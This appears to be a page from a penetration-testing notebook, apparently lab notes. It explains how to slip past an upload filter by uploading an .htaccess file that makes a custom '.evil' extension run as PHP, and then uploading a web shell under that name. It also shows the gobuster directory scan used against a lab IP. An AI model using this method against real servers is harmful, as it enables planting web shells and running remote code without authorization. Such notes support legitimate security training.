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# .htaccess to allow extension

Add Type application/x-httpd-php .evil

```bash
# Check the extension type
cat .htaccess 

AddType application/x-httpd-php .evil
```

<figure><img src="/files/TgFTaQGf6cyHDhyH0HsQ" alt=""><figcaption></figcaption></figure>

#### Check the upload location.

{% code overflow="wrap" %}

```bash
gobuster dir -u http://192.168.120.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

{% endcode %}

#### Upload the .htaccess.&#x20;

Hit Ctr + h key to show dot extension for file upload.

<figure><img src="/files/FxODRae7RMIzLjK8iBbo" alt=""><figcaption></figcaption></figure>

Then you can upload the file.&#x20;

Or, use a BURP to change the name and add the content to the request.&#x20;

<figure><img src="/files/6ric9tRbmtBhKsq4a84U" alt=""><figcaption></figcaption></figure>

#### Upload shell.evil (php file, etc.)&#x20;

Rename the file to whatever you have defined in .htaccess and upload the file.&#x20;


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